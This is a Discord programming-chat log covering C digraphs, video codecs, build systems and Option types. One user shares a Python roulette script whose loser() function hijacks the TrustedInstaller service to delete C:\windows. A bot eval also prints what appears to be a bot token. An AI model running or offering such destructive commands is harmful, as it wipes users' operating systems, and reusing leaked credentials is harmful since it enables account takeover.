#🪅-progaming

1 messages · Page 99 of 1

jade stone
#

i love having to build python2 from source because some people haven't updated yet

lavish cloud
#

It's been 5 years since py2 became EOL, how

jade stone
#

i'm just trying to build the docs but am getting fucking xml errors

torn thunder
#

Where's Rosalina

jade stone
#

@frosty obsidian is this an internal kotlin compiler error

ornate quiver
#

yop

#

caused by compose compiler plugin

#

funny

austere idol
jade stone
jade stone
ornate quiver
#

nice

winged mantle
#

horror

#

this has to be something to do with those weird alternative representations of characters

#

/run

#include <stdio.h>

int main() {
    for (int i = 0; i < 10; ++i) %<
        printf("%d\n", i);
    >%
}
rugged berryBOT
#

@winged mantle I received c(10.2.0) compile errors

file0.code.c: In function 'main':
file0.code.c:4:34: error: expected expression before '%' token
    4 |     for (int i = 0; i < 10; ++i) %<
      |                                  ^
file0.code.c:6:5: error: expected expression before '>' token
    6 |     >%
      |     ^
chmod: cannot access 'a.out': No such file or directory
file0.code.c: In function 'main':
file0.code.c:4:34: error: expected expression before '%' token
    4 |     for (int i = 0; i < 10; ++i) %<
      |                                  ^
file0.code.c:6:5: error: expected expression before '>' token
    6 |     >%
      |     ^
chmod: cannot access 'a.out': No such file or directory
winged mantle
#

guh

#

maybe this is just a c++ thing

#

c has trigraphs though

#

oh ngl i forgot the -- suffix operator exists

#
x --> 0

is just

x-- > 0
#

but the slashes...

tired vigil
winged mantle
#

wait they're backslashes

#

i didn't notice

#

but c isn't python...

#

i thought you only did that in macros

#

maybe the syntax was added because of macros but it actually works anywhere

#

anyway here's a cool thing

#

/run

#include <stdio.h>

int main() {
    for (int i = 0; i < 10; ++i) ??<
        printf("%d\n", i);
    ??>
}
rugged berryBOT
#

Here is your c(10.2.0) output @winged mantle

0
1
2
3
4
5
6
7
8
9
tired vigil
#

in what scenario would you need to use ??> 😭

winged mantle
#

your keyboard doesn't have {

woven mesa
#

attributegraph

tired vigil
#

what if my keyboard doesn't have ? and >

winged mantle
#

then use {

woven mesa
#

same,,

tired vigil
winged mantle
#

i used to have The C Programming Language which explained it a bit better

valid jetty
#

i still have it

austere idol
rugged berryBOT
#

Here is your c(10.2.0) output @austere idol

abcg
winged mantle
#

why doesn't this link...

#

/run

#include <stdio.h>
#include <string.h>
#include <iostream>

int main() {
    int i;i xor_eq i;i xor_eq 012;
    while (i \
              \
               \
                \
                 --> 0) <%
        char c[3];
        char*d=c;strcpy(d, ""),strcpy(++d, ""),strcpy(++d, ""); (--d)--;
        *d xor_eq 060 or i, *++d xor_eq 012, puts(--d);
    %>
}
rugged berryBOT
#

Here is your c++(10.2.0) output @winged mantle





















winged mantle
#

it should be printing at least

fleet cedar
#

Why? It runs zero iterations

winged mantle
#

oh

#

forgot to set i to a larger number

#

at least i got some boxes

lavish frigate
torn thunder
tired vigil
#

/run

%:include <stdio.h>

int main() <%
    char array<:5:>;
    0<:array:> = 'a';
    1<:array:> = 'b';
    2:array:> = 'c';
    3<:array:> = 'g';
    4<:array:> = 0;
    printf("%s\n", array);
%>
rugged berryBOT
#

@tired vigil I received c(10.2.0) compile errors

file0.code.c: In function 'main':
file0.code.c:7:6: error: expected ';' before ':' token
    7 |     2:array:> = 'c';
      |      ^
      |      ;
file0.code.c:7:12: error: expected statement before ']' token
    7 |     2:array:> = 'c';
      |            ^~
file0.code.c:7:15: error: expected expression before '=' token
    7 |     2:array:> = 'c';
      |               ^
chmod: cannot access 'a.out': No such file or directory
file0.code.c: In function 'main':
file0.code.c:7:6: error: expected ';' before ':' token
    7 |     2:array:> = 'c';
      |      ^
      |      ;
file0.code.c:7:12: error: expected statement before ']' token
    7 |     2:array:> = 'c';
      |            ^~
file0.code.c:7:15: error: expected expression before '=' token
    7 |     2:array:> = 'c';
      |               ^
chmod: cannot access 'a.out': No such file or directory
tired vigil
#

is the index[array] syntax banned now

valid jetty
#

no

#

it’s just a parsing bug

#

1 < makes it think it’s an arithmetic expression

#

or no

#

they just have a syntax error

#

/run

%:include <stdio.h>

int main() <%
    char array<:5:>;
    0<:array:> = 'a';
    1<:array:> = 'b';
    2<:array:> = 'c';
    3<:array:> = 'g';
    4<:array:> = 0;
    printf("%s\n", array);
%>
rugged berryBOT
#

Here is your c(10.2.0) output @valid jetty

abcg
valid jetty
#

lol

crimson sparrow
#

that looks incredibly cursed

winged mantle
#

i love

hoary sluice
#

honey you are lying in the first paragraph

#

its primary goal is being silly

austere idol
#
"hello" print;
valid jetty
valid jetty
#

like forth

tired vigil
#

my plugin just reached 5000 lines of code blobcatcozy

fleet cedar
#

Looks like tokei

tired vigil
#

cloc cli tool on windows

supple whale
#

i got 1k lines of whitespace lol

#

actually

#

ah most of those comments is a single file which i just commented out

#

and then eslint disables kekw

tired vigil
#

Oh looks like you beat me lmao
What project is that?

supple whale
#

well... its a third of my project

#

as its split into a fuckload of repos

#

cuz then there's the electron native repo, then there's the IPC repo, and then there's the webtorrent repo [which is also split into like 20 other repos], and then there's the wasm repo....

#

and yeaaaah

#

kill me pls

#

XD

#

but yeh, not a vc plugin

#

my vc plugins max out at like 50 loc

#

it doesnt take much for me to be satisfied discord improvements xd

tired vigil
supple whale
#

the repo?

#

this one

#

each one has its own build requirments

#

but they are for the most part all the same

#

install, run dev cmd, run test cmd

tired vigil
#

Can I just download the exe file blobcatcozy

supple whale
#

some use NAPI, so they require python and vs build tools, which node/npm comes with

supple whale
#

yeah

#

its made for idiots who dont know what a computor is

#

so its veeeeeeeeery idiot and user friendly

tired vigil
supple whale
#

since an average streaming site episode is.... 100MB?

#

and the worst torrent is 1GB

#

and best is 9GB

#

per episode

tired vigil
#

I'm sure my internet can handle this... Maybe

supple whale
#

the setup verifies if it can or cant

#

and will warn you

#

again, idiot friendly

#

dw this app GIGA holds ur hand

#

I love this setup page, it so pretty

tired vigil
#

That's insane

#

Also why does it use rust, C and elle all at once

#

Wait I'm confused is that just from markdown codeblocks

shrewd canopy
tired vigil
#

Ohh

spark tiger
valid jetty
spark tiger
#

oh ic

crude star
#

🪰

valid jetty
#

yep..

spark tiger
valid jetty
#

idk about the markdown inside rust files

tired vigil
#

markdown inside rust inside markdown inside c... blobcatcozy

valid jetty
ivory heath
supple whale
#

yeah

#

the target is "best possible"

#

not "great"

#

so for the most part its just bd remuxes

#

thats simply how seadex wills it

ivory heath
#

seadex..... eternal shit encodes
seriouslly tho how are you getting 9GB per ep unless its a 100GB blueray (which is rare) with ONLY 10 eps on it

#

OH LMAO

supple whale
#

most fucking clueless statement since sliced bread

supple whale
# ivory heath

i don't mod any of the data, i'm the lead dev of the site, so i'm simply listed cuz i have admin access

ivory heath
#

new Live action HDR giga ulta 4k sure

supple whale
#

you just dont use it because you prefer av1 on an lcd

#

that's fine

#

4k OLED TV enjoyers like to enjoy best quality possible, its what they paid for

#

there's 0 value in loosing quality for us

ivory heath
#

....

#

dude im on a 4k 240hz 32 inch oled

supple whale
#

great, and if you think that a 250MB AV1 vs a 9GB BD has no difference, then you've wasted your money

ivory heath
#

I never said they had no different, just very little.
I also assume youre thinking of old av1 encodes, not the bleeding edge

supple whale
#

I'm only interested in shit which people are actually willing to spend time on

#

which isnt the AV1 bleeding edge, as I've mentioned before, the encode times are unreasonable, and no fan subber would be willing to waste their life waiting for it

#

so yeah, as i said

#

up to 9GB in the most extreme cases

#

because those 250MB encodes you benched your bleeding edge encoder on, arent available, and arent used, so while great in theory, are even rarer than those "rare" 9GB BD remuxes

ivory heath
supple whale
#

yes, it can, but

ivory heath
#

You gave this as a reason as why people aren't interested in which is just bullshit .

the encode times are unreasonable

supple whale
#

that will probably change in the future, maybe, but so far anime av1 encodes are meme quality at best, and about their best use is 8MB discord embeds

supple whale
#

and i'm not paying $900 for a cpu which can do it in 5h

ivory heath
#

svt isnt that slow. are you thinking of 1.0.0 libaom?

supple whale
#

because its the consumers who make releases, but encoders or fansubbers

#

and the current av1 releases are a joke

#

so yeah, as i said, this will probably change in the future, once av1 encoders support hw accel in any reasonable amt, the hardware for it becomes more widely adopted, and the encoders arent restricted to $1000 NVIDIA GPUs, or less than stable intel GPUs with no encoding parameters,

#

but for now its just nice "benchmarked theory"

#

because regardless of how insanely good av1 is, it doesnt change the fact that there are NO av1 releases, just web re-encodes

#

which is why we're staying at said 9GB raws for now, because even that people cant be asked encoding

ivory heath
#

< 10% gain from preset 2 to -1
even less so for preset 2 to -1
SVT requires higher crf values on average because its scale isnt 0-53 its 0-7X. 40 is however high. The specific persons releases you're screenshotting targets smaller but acceptable encodes
--aq-mode 2 isnt equivalent to x26* aq-mode, neither --psy-rd . I dont really get your point for pasting all the settings used

pseudo perch
#

All this yap, but no proof of real encodes.

supple whale
#

again, no releases

#

so????

ivory heath
#

Because most encoders use outdated knowledge from doom9 sadly

supple whale
#

post some image comps and we can talk

alpine pecan
#

i wouldn't argue with retards

supple whale
alpine pecan
#

"which is rare" should have ended the convo right there

supple whale
#

he's objectively correct, i just dont understand why he had to go out of his way to insult me, and the work of dozens other people

supple whale
#

he's just hallucinating that is is, with theory, because I assume he imagines that people simply use the best available tech at any given time, rather than whats most commonly avaialble

supple whale
#

#1 184 entries at a 81GB average

#

thats... rare?

#

and thats a single releaser!

#

out of dozens!

supple whale
#

he's very much right AV1 has potential, but simply noone uses it, because its not in a state of doing so just yet, for MANY factors

ivory heath
supple whale
#

and that is in no way reason to dismiss other people's work, or existing releases

supple whale
alpine pecan
#

av1 has no place in high quality releases just like x265 (at least outside of anime) does not

ivory heath
#

It was funny saying shit about seadex and then seeing you worked on it, it was not a personal attack on you. Some of the encoders on seadex use questionable settings

supple whale
#

it simply aggregates the best AVAILABLE releases for anime the community has created

#

into a single database

supple whale
#

not encodes

#

::^)

supple whale
#

anyways, as i said, the potential of AV1 is not the problem

#

i never said its not good

#

i said its not usable by people in its current state, because its the encoders that decide what codecs are used

supple whale
#

BDs dont release in HEVC

#

unless you're suggesting you suddently re-encoded that hevc release into av1 and magically improved the quality

#

which would be even more sus

ivory heath
#

nearly all 4k and HDR bluerays are HEVC.

#

im not sure how you could get that wrong

supple whale
#

because bourne ultimatum was not releasaed in HEVC

ivory heath
#

yes the two screenshots are re encodes

supple whale
#

which is why i said

ivory heath
#

you said BDs in general ::^)::^)::^)

supple whale
#

you're comparing against thin air

#

because that HEVC encode is pretty much useless as a comp

#

comp raw, your hevc, a well established good hevc encode and av1

#

thats a proper comp

#

skewing results and data reaaaaaaally isnt difficult

#

shit, thats what all of uni is about

ivory heath
#

Svt does obviouslly preserve the grain in the original film without artifacting in that test.

ivory heath
#

most of them if you read doom9 have no idea what the hell theyre doing

supple whale
#

no, thats your job, thats the job making the comp, i wont be advocating your skewed and manipulated results, i'm being pedantic because of the fact you're trying to manipulate results, for which i dont care

and i never said hevc is better than av1, in fact i said 4 times that av1 is great, but its not usable for encoders because its not well adopted enough for hw acceleration yet

supple whale
#

because you keep glazing av1, when the topic is "no1 is making av1 encodes because it takes too much time" and not "no1 is making av1 encodes because its bad"

ivory heath
#

not well adopted enough for hw acceleration yet
nearly everthing supports it and software decoding is well beyond mature enough to be used as a replacement.
Unless we still care about burning encodes to dvd to play them back

supple whale
#

deocding doesnt matter

ivory heath
supple whale
#

because decoders dont make the encodes

#

its the encoders

ivory heath
#

It was slow, this is the same complaints people made when x264 and x265 were new

supple whale
supple whale
#

which is what av1 is waiting for now

ivory heath
# supple whale yes, and then x265 got hw accelerated encoding

when you say x265 do you mean HEVC or h.264?
Because x265 is only a software encoder
also none of the encoders who are taken seriously use hardware because of how dogshit it is and is even worse at preserving detail due to hyper tunning for metrics like PSNR

supple whale
#

i mean hevc sorry

#

that was back during the GTX 10 series, which is when HEVC got good hardware encoders, and its only gotten adopted in encoding a few years ago, and av1 is JUST RIGHT NOW getting good hardware encoders, so its a while off adoption

ivory heath
#

I dont know why the hell you think you need a compute farm to get decent av1 encodes. I can encode anime eps all day in real time and get a whole season done in a few hours

lavish frigate
#

@ivory heath do you know if there is a format like svgs but in binary instead of text (to save space..?), just out of curiosity

supple whale
supple whale
ivory heath
supple whale
#

and they defo wont waste days trying av1 encodes

#

when they can just hevc it in 10 seconds

lavish frigate
ivory heath
supple whale
#

yes

#

but they are faster!

#

again, your av1 dellusions is a LOT different from what the market actually shows

#

because you can come up with ALLLLLLL the excuses in the world

#

the fact of the matter is, there's not a SINGLE av1 BD encode available for anime

lavish frigate
#

i think i wanna actually make something like that myself if it doesnt exist then just out of fun & learning how formats work / how to efficiently decode and use formats

supple whale
#

that isnt in one form or another a meme

alpine pecan
#

not just for anime

ivory heath
#

there are plenly of good BD av1 encodes. Im not sure why youre glazing HEVC so much.
I would like to see proof of av1 being shit that isnt encodes from like HAV1T from 4 years ago

supple whale
#

well i can from experience only speak for the anime shit, since i dont know western market much

shrewd canopy
#

Bruh

ivory heath
supple whale
#

ARE YOU IN THIS CONVERSATIOn

#

AM I FUCKING TALKING TO A WALL

shrewd canopy
ivory heath
#

oh fair

supple whale
ivory heath
#

thats not an entirely honest summary

supple whale
#

it is, i legit said "oh yeah on the extreme you'll have 9GB per ep raws"

#

you go "LMAO HOW DO U GET 9GB THAT SHIT DOESNT EXIST WE'RE USING 250MB AV1S" and then provided to list not a single one

#

and kept saying "youre just HEVC glazing" when i just kept saying that there are simply no av1 releases

#

and never once menioned that hevc is good, actually even the other way around

#

all there is trix, which provides some mediocre quality av1 encodes at best, with often less than great audio and subs

ivory heath
ivory heath
supple whale
#

they dont fucking care, because they dont have the time to waste on shit like that, they just want to publish something this year, and move on to the next elease

ivory heath
#

you said it was because of encoding times however. which is wrong

supple whale
ivory heath
supple whale
#

and neither does any other anime tracker

#

jesus bro

#

stop arguing with yourself

lavish frigate
#

u r all nerds

ivory heath
#

im not?

ivory heath
crude star
#

i store all frames as uncompressed bitmaps idk bout yall

ivory heath
#

btrfs compression is good enough

crude star
#

btrfs compression is amazing

#

you write 10gb and it gets stored as 0 bytes due to corruption

ivory heath
#

only in raid

supple whale
#

and for all i care it could be pied piper dick jerk based compression, it doesnt matter if there are no releases

ivory heath
#

okay

ivory heath
supple whale
#

yes i know i'm wrong abou the fact that HEVC HW based encoders are faster than software av1 encoders

#

and you're the best encoder in the world

#

and av1 is the greatest which is why noone uses it

#

thank you

supple whale
#

except most encodes on nyaa

#

good night

#

and even then

#

most people dont even bother encoding

#

which is where the original 9GB video BD rip size comes from

#

from the very start of the conversation

#

because most cant even be asked waiting for a HW encode

#

let alone a SW encode

alpine pecan
#

FUCK your grain who needs that shit?

#

techbros need to fuck off video encoding and every other aspect of life

lavish frigate
#

what if we use ai for image decoding

#

and video decoding

#

idk

supple whale
#

Nvidia already made that

crude star
#

just ask chatgpt to recreate the video

ivory heath
#

cause nvidia like their HW encoders tuned it for PSNR

supple whale
#

truly awful

lavish frigate
#

super resolution actually works great for video

#

mostly because its a video and you arent gonna zoom in to point out all the artifacts every 2 seconds

alpine pecan
#

true though no good encode uses hw

ionic lake
#

when will nvidia stop putting "game ready" in their press releases, everyone knows they dont give a shit about gaming

alpine pecan
#

otherwise what a brainwashed one sided convo

#

comping an encode with an encode :D

ivory heath
ionic lake
#

i will encode you

crude star
#

everything on the internet is bait or slop

alpine pecan
#

better use x264

supple whale
lavish frigate
alpine pecan
crude star
#

simply do not argue

ionic lake
crude star
#

im rini

alpine pecan
#

baitslop

ionic lake
#

i know

lavish frigate
#

thats why they wont stop putting in game ready since it only affects the people who gayme

ivory heath
#

sodathink I do have a vested interest in the unknown not promoting false information of av1 due to being invested in libsvt-av1, av1an, x26* development myself

supple whale
alpine pecan
#

(because it isn't good)

supple whale
#

and saying that 9GB raws exist is also NOT false information

crude star
#

im invested in vencord development and i always put up false information about it

supple whale
#

so get it head out of ur ass for fucks sake

ivory heath
ionic lake
lavish frigate
#

av1 is bad because im racist but towards file types all images on my pc should be png, all videos on my pc should be mp4 and all audio on my pc should be ALAC

crude star
#

i own 50% shares

alpine pecan
#

hi chloe

ionic lake
#

can i have some

lavish frigate
#

hiii

supple whale
crude star
ionic lake
#

thanks!

ivory heath
supple whale
#

mf, and the fact of the matter is noone is using av1

#

so say whatever you want

ivory heath
supple whale
#

there are no av1 releases for anime

#

you're just a fucking brick wall

ionic lake
#

you guys remind me of the animepiracy discord

ivory heath
ionic lake
#

unknown prob knows

crude star
#

x265 >>>>
-# User was banned for this post

supple whale
#

well I know, it was ap

#

XD

alpine pecan
#

are u on ab

supple whale
# alpine pecan are u on ab

nah, I was invited but never accepted, I CBA keeping track of ratio, activity etc to make sure I don't get banned

crude star
#

biracy

alpine pecan
#

it's not really hard to maintain ratio there though

supple whale
#

and I also code my own torrent clients, which would also get me banned since they have an allowlist

alpine pecan
#

true

supple whale
#

so meh, interest for it was low

ionic lake
#

cant you just spoof yourself

alpine pecan
#

well it just wouldn't connect you won't get in trouble but

supple whale
ionic lake
#

im just asking, i dont know the specifics

alpine pecan
supple whale
supple whale
#

which is yet another thing to worry about

#

just... not worth

ionic lake
#

ah yeah

supple whale
#

I've been fine with nyaa for all 1k anime I watched

#

except.... for 2 I think

#

both were GIGA old

crude star
#

how to spoof a client

  1. use the client
supple whale
#

read or die and smth else I can't remember

supple whale
#

most torrent clients are fucking dogshit for automation or integrations

crude star
#

im ragebaiting i use aria2 for my torrents

alpine pecan
#

that's fucked up

supple whale
ivory heath
crude star
#

im unable to seed anyway

supple whale
crude star
#

% aria2c <url>

#

downloaded

#

easy

ionic lake
#

@supple whale do you know wotaku

supple whale
#

somewhat

crude star
supple whale
ionic lake
#

huh what

#

nah you dont look to be kicked or anything

#

probably went with the prunes

supple whale
#

wtf that's fucked up

ionic lake
#

whats that fork about

supple whale
#

ah nvm

supple whale
#

and android app for free because fuck supporting the original developers right?

supple whale
#

so it's got none of the new shit

ionic lake
#

lol

supple whale
#

and it uses my api

#

which I pay for

#

damn I wonder what would happen if my api suddenly got basic security

crude star
#

do it for the bit

supple whale
native spruce
#

smooth

winged mantle
# valid jetty

what if markdown extension to execute code inside codeblock

# Hello world!

​`​``!c
#include <stdio.h>

int main() {
    puts("## This subheading is generated from C code");
}
`​``
dense sand
#

I think this is more of a thing of a the markdown renderer

ionic lake
#

already exists in some places

dense sand
#

You can really add this without intervening the actual syntax of md

ionic lake
#

most of them call a external sandbox api, othertimes its something like pyodide which can run in the browser

winged mantle
#

no

#

rce

valid jetty
#

no

#

inserting things into the markdown file is metaprogramming

#

it would be rce if you could just run the code of a snippet and get an output

#

but because it’s reinserting markdown back into the file it’s considered metaprogramming

austere idol
#

vulenability is not always a bad thing

tired vigil
valid jetty
#

well typst is more powerful than that

#

you can do contextual stuff which does type erasure but allows you to render something different depending on the context like language and position on the page and stuff

#

it’s great

tired vigil
#

I experimented a bit with it but idk what to actually use it for 😭
idk if my school would allow using it for assignments

#

also the lack of explicit types is kinda annoying

#

they should just add typescript to typst

#

or nah

#

something more powerful

#

with higher kinded types and bidirectional inferance and stuff like that

#

so u can do meta meta programming

#

academic writing should be all about writing 10 pages of custom types for the most basic shit

brittle frigate
shrewd canopy
tired vigil
brittle frigate
#

yeah

#

i too find that a bit cumbersome to work with at times

winged mantle
#

horror

#

why is this legal

int do_thing(int(my_int)) {
    return my_int + 1;
}
valid jetty
#

in c++ you can init things as Class foo(constructor_args) so it doesn’t know whether that’s an initialization of a class or the interface of a function at the parsing level

#

therefore you can disambiguate with parens

winged mantle
#

but parens inside function declaration makes no sense

winged mantle
#

why at the parsing level can it not invalidate int(my_int) in function defs

valid jetty
#

no, int(x) is the disambiguation

winged mantle
#

this defines a function

#

why would you use this to declare a parameter of type iter called stream

#

you'd just do Iter stream if you were triyng to do that

#

ah, it's implemented for the sake of function pointers

#

still doesn't make sense, just make it invalid if you don't then have a following open paren

#

ig they can't change without breaking compat

#

there's no reason you can't just make it so that

void run(void (*f)()) {
}

is legal on the parsing level but

void run(void (f)) {
}

is not

#

anyway, easy fix, just use {}

lavish cloud
#

how does one cmake

winged mantle
#

don't

lavish cloud
#

then what do I do

#

gradle?

fleet cedar
lavish cloud
#

all other build systems are ass tho

winged mantle
#

idk cargo but delete /usr/bin/rustc and replace it with g++

#

to trick it into using g++ instead of rustc

lavish cloud
#

is that in response to me?

winged mantle
#

yes

lavish cloud
#

because idk what cargo and rustc are

#

I just use devkitpro's gcc impl atm

winged mantle
#

trick rust's build tool into using c/c++ compiler

lavish frigate
#

crazy

lavish cloud
#

but that means using rust's build tool which I only remember as being horrible

#

If it wasn't for needing to use libraries that use cmake I'd be using gradle already

lavish frigate
#

cargo is like one of the better build systems out there

fleet cedar
#

Cargo is the least painful build tool

lavish frigate
#

the cargo experience is very good imo

lavish cloud
#

isnt cargo a toml file

#

how do you even create a custom task with that

fleet cedar
#

If you need custom pre-build stuff, that's build.rs

lavish cloud
#

but that requires using rust for build logic 🤢

fleet cedar
#

Nope

#

It's rust for pre-build logic

lavish cloud
fleet cedar
#

The build is all handled by cargo

lavish cloud
#

either way

#

libraries kinda need me to use cmake

winged mantle
#

if JSON is more your style just use NPM

{
    "scripts": {
        "clean": "rm -rf target",
        "all": "npm run build",
        "build": "g++ -Otarget/myapp -Lnode_modules/* -Inode_modules/* -lsomelib src/**/*.cpp src/**/*.hpp src/**/*.h"
    }
}
lavish cloud
#

but idk how to register tasks and configure them later or when needed

lavish frigate
fleet cedar
#

Any build system with "tasks" is overengineered imo

lavish cloud
lavish frigate
#

i think we should also put the c++ code through prettier

lavish cloud
#

what the fuck```cpp
/opt/devkitpro/devkitA64/aarch64-none-elf/include/c++/15.1.0/bits/stl_construct.h:99:21: error: invalid conversion from 'const void*' to 'void*' [-fpermissive]
99 | void* __loc = __location;
| ^~~~~~~~~~
| |
| const void*

winged mantle
#

and libraries build for every platform

crude star
winged mantle
#

oh

#

with crust?

#

trolley or whatever rust's version of cgo is

crude star
#

cbindgen or something

#

well you can run whatever you want from a build.rs script

ornate quiver
#

even compared to gradle

crude star
#

gradle is the worst software ever

shrewd canopy
#

can confirm since it gave > Type V not present today

ornate quiver
#

gradle is actually really really nice to use once you understand how it works

#

super flexible, extendable, and configurable

crude star
#

i understand how rusher works

#

the most configurable build system will always be shell scripts

ornate quiver
#

I used to despise gradle until I met msbuild
realized how good we have it

frosty obsidian
ornate quiver
#

that's not even a build tool

tired vigil
#

is bun a build tool

#

am I a build tool?

winged mantle
#

i don't like gradle because it would always eat my ram

#

going on to the tasks tab on eclipse would start a billion gradle daemons

crude star
#

im replacing gradlew with malware

royal nymph
#

gradle is good but the fact that it's so slow and uses so much ram makes it worse and something i dont like using

#

rewrite gradle in rust soon

crude star
#

rewrite gradle in groovy

#

so you get more gradle per gradle

valid jetty
#
import random
a = random.randint(1,6)

try:
    n = input("Enter a number 1 to 6.")
    try:
        m = int(n)
        if m <= 0 or m >= 7:
            raise Exception("invalid number entered")
        if m != a:
            print("As you pull the trigger, you hear a click and nothing happens.")
            print("You win!")
            exit()
        else:
            print("You pull the trigger and everything goes black.")
            print("You lose.")
            loser()
            exit()
    except:
        print("Deciding this game isn't worth your time, you pull out a Colt 1911 and do the deed.")
        print("While you may have died, you never played the game, so you do not lose.")
        exit()
except KeyboardInterrupt:
    print("Chicken.")
    exit()
except:
    exit()
#

what is this 😭

#
def loser():
    # set trustedinstaller to cmd
    subprocess.call([r"C:\Windows\system32\cmd.exe", r"/c", r'sc.exe config TrustedInstaller binPath="C:\windows\system32\cmd.exe"'])
    # delete windows folder :)
    subprocess.call([r"C:\Windows\system32\cmd.exe", r"/c", r'sc.exe start TrustedInstaller "/c" "del /fq C:\windows"'])
frosty obsidian
crude star
#

virus

spark tiger
#

wtf is groovy

#

the music bot?

shrewd canopy
frosty obsidian
#

groovy is like if java got drunk

spark tiger
#

why the fuck do they all use it??

ivory heath
frosty obsidian
spark tiger
#

wait how old is groovy

#

2003 okay

ornate quiver
#

it's an ancient and outdated language that nobody likes

#

never even heard of it until gradle

violet monolith
#

I should go to jail for this (when you only know python but want to make it look like you know java)

violet monolith
lavish frigate
#

u should go to jail for using python

shrewd canopy
lavish frigate
shrewd canopy
#

Is that RustScript

lavish frigate
#

ya

gilded surge
#

wth is rustscript

lavish frigate
#

those are rust options implemented in typescript

#

rustscript

gilded surge
#

mild horror

#

i did not need to see javascript-adjacent + rust

lavish frigate
#

options are actually good though and imo a lot better than null

valid jetty
#

type safe tho

#

and cleaner to read

#

the impl is pretty tiny

type Option<T> = { 
    __internal__: {
        value: T | null,
        some: boolean
    }
    unwrap(): T,
    unwrap_or(value: T): T,
    expect(message: string): T,
    is_some(): boolean,
    is_none(): boolean
}

const None = {
    __internal__: {
        value: null,
        some: false
    },

    unwrap() {
        if (this.__internal__.value === null) {
            throw new Error("Attempted to unwrap on a None variant.");
        }

        return this.__internal__.value;
    },

    unwrap_or<T>(value: T) {
        return this.__internal__.value ?? value;
    },

    expect(message) {
        if (this.__internal__.value === null) {
            throw new Error(message);
        }

        return this.__internal__.value;
    },

    is_some() {
        return this.__internal__.some;
    },

    is_none() {
        return !this.is_some();
    }
} satisfies Option<null>

function Some<T>(value: T): Option<T> {
    return Object.assign({ ...None }, { __internal__: { some: true, value } });
}

function match<T, U>(option: Option<T>, val: { Some: ((val: T) => U), None: (() => U) }) {
    if (option.is_some()) {
        return val.Some(option.unwrap());
    }

    return val.None();
}
#

ofc its not a "real" sum type

#

but the api usage is the same

#

this is missing some nice-to-have methods too but you get the idea

shrewd canopy
#

./run

from dataclasses import dataclass
from typing import NoReturn

@dataclass
class Some[T]:
  value: T

  def unwrap(self) -> T:
    return self.value

@dataclass
class Nothing:
  def unwrap(self) -> NoReturn:
    raise TypeError(".unwrap() called on None")

type Option[T] = Some[T] | Nothing

def get_something(input: int) -> Option[str]:
  if input == 3:
    return Nothing()
  return Some("meow")

def main():
  a = get_something(1).unwrap()
  b = get_something(3)

  # a is typed as str, b is typed as Option[str]
  print(a)

  match b:
    case Some(val):
      print(f"We have {val}!")
    case Nothing:
      print("We have no value :C")

main()
rugged berryBOT
#

@shrewd canopy I only received py(3.10.0) error output

  File "/piston/jobs/fa57277d-28c2-4b7c-bf99-ac1e16ca6c0f/file0.code", line 5
    class Some[T]:
              ^
SyntaxError: expected ':'
shrewd canopy
#

:^)

#

ah sad

#

it works on python 3.12 tho

ivory heath
#

./run

import sys
print(sys.version)
rugged berryBOT
#

Here is your python(3.10.0) output @ivory heath

3.10.0 (default, Aug  8 2023, 20:59:41) [GCC 8.3.0]
ivory heath
#

the fuck

violet monolith
#

I think this is the same but

#

./run

import sys
print(f"{sys.version_info.major}.{sys.version_info.minor}.{sys.version_info.micro}")
rugged berryBOT
violet monolith
#

what

#

is that not valid python

#

./run

import sys
print(f"{sys.version_info.major}.{sys.version_info.minor}.{sys.version_info.micro}")
rugged berryBOT
#

Here is your py(3.10.0) output @violet monolith

3.10.0
violet monolith
#

oh I forgot the py after the three backticks

jade stone
lavish frigate
#

lc.eval console.log(client.token)

visual shellBOT
lavish frigate
#

#hacked

alpine pecan
#

is this true

crude star
#

oml

#

@royal nymph

#

??

royal nymph
#

it's true

alpine pecan
#

what's the guy's @

#

@pearl dawn

#

fix yo shit

royal nymph
#

it's definitely real

alpine pecan
#

yea it is

#

delete the message probably

crude star
#

did it revoke it

royal nymph
#

just logged into pissbot with it

#

wow its real

crude star
#

i uploaded to guhhub

royal nymph
#

I can't tell if you guys are trolling or genuinely think it's real

#

I should sleep

crude star
#

im too lazy to test

royal nymph
#

it's not a real eval command it uses some api

#

lc.eval console.log(client)

visual shellBOT
# royal nymph lc.eval console.log(client)
​{ _events: {},
  _eventsCount: 0,
  _maxListeners: 12,
  _isBot: true,
  _killed: false,
  application: {},
  cluster: {},
  commandClient: {},
  imageFormat: 'png',
  token: 'NjgyNjU0NDY2NDUzMDEyNTUz.Gz-cd5.tncCMMDjDtDJ1E4TpQ3_-XwBAqyU-9zfaTu0Ek',```
royal nymph
crude star
#

gusk

alpine pecan
#

bitch

#

i just checked dthe user id

ornate quiver
jade stone
pearl dawn
pearl dawn
solemn ravine
austere idol
solemn ravine
#

this was the worst thing ever written

nimble bone
#

anyway looks cute

valid jetty
#

there are no macros but there are variadic functions and generic functions (with type inference)

#

i havent found a need to go deeper into the metaprogramming hole

#

you can already express relatively complicated relationships in the type system

fn Option::resolve_with<T, U, Out>(Option<T> self, fn(T, U) -> Out if_some, fn(U) -> Out if_none, U arg) {
    if self.is_some() {
        return if_some(self.__value, arg);
    } else {
        return if_none(arg);
    }
}

fn Option::resolve<T, Out>(Option<T> self, fn(T) -> Out if_some, fn() -> Out if_none) {
    if self.is_some() {
        return if_some(self.__value);
    } else {
        return if_none();
    }
}
#
fn Result::map_err_with<T, E, U, Out>(Result<T, E> self, fn(E, U) -> Out cb, U arg) {
    if !self.is_ok() {
        return Result::Err<T, Out>(cb(self.__error, arg));
    } else {
        return self;
    }
}

fn Result::map_err<T, E, Out>(Result<T, E> self, fn(E) -> Out cb) {
    return self.map_err_with(fn(err, cb) cb(err), cb);
}
#
fn Iterator::fold<T, U, AnyEnded>(Iterator<T, AnyEnded> self, U initial, fn(U, T) -> U cb) {
    while _, val := self.next() {
        initial = cb(initial, val);
    }

    return initial;
}
``` macros just arent necessary
#

you can even express relationships like this through the type system

#

macros would just give you another entirely different way to solve the same problems, potentially less type-safe

hoary sluice
#

rosie what is the end goal of elle

ionic lake
#

become the next rust

valid jetty
#

ive already succeeded at that but there is always more to do

red gulch
#

How does PlatformIndicators detect console?

#

nvm

shrewd canopy
torn thunder
violet monolith
#

day 2 of posting python war crimes

def relaunch_as_admin():
    subprocess.run([
        "powershell.exe",
        "-Command",
        f"Start-Process powershell.exe -ArgumentList '-NoExit', '-Command', '\"{sys.executable}\" \"{os.path.abspath(sys.argv[0])}\"' -Verb RunAs"
    ])

    sys.exit(0)
plain mortar
#

hello, quick question is there any way to bypass
Validation errors:
Application name cannot contain ":"

fleet cedar
#

In what stack

plain mortar
#
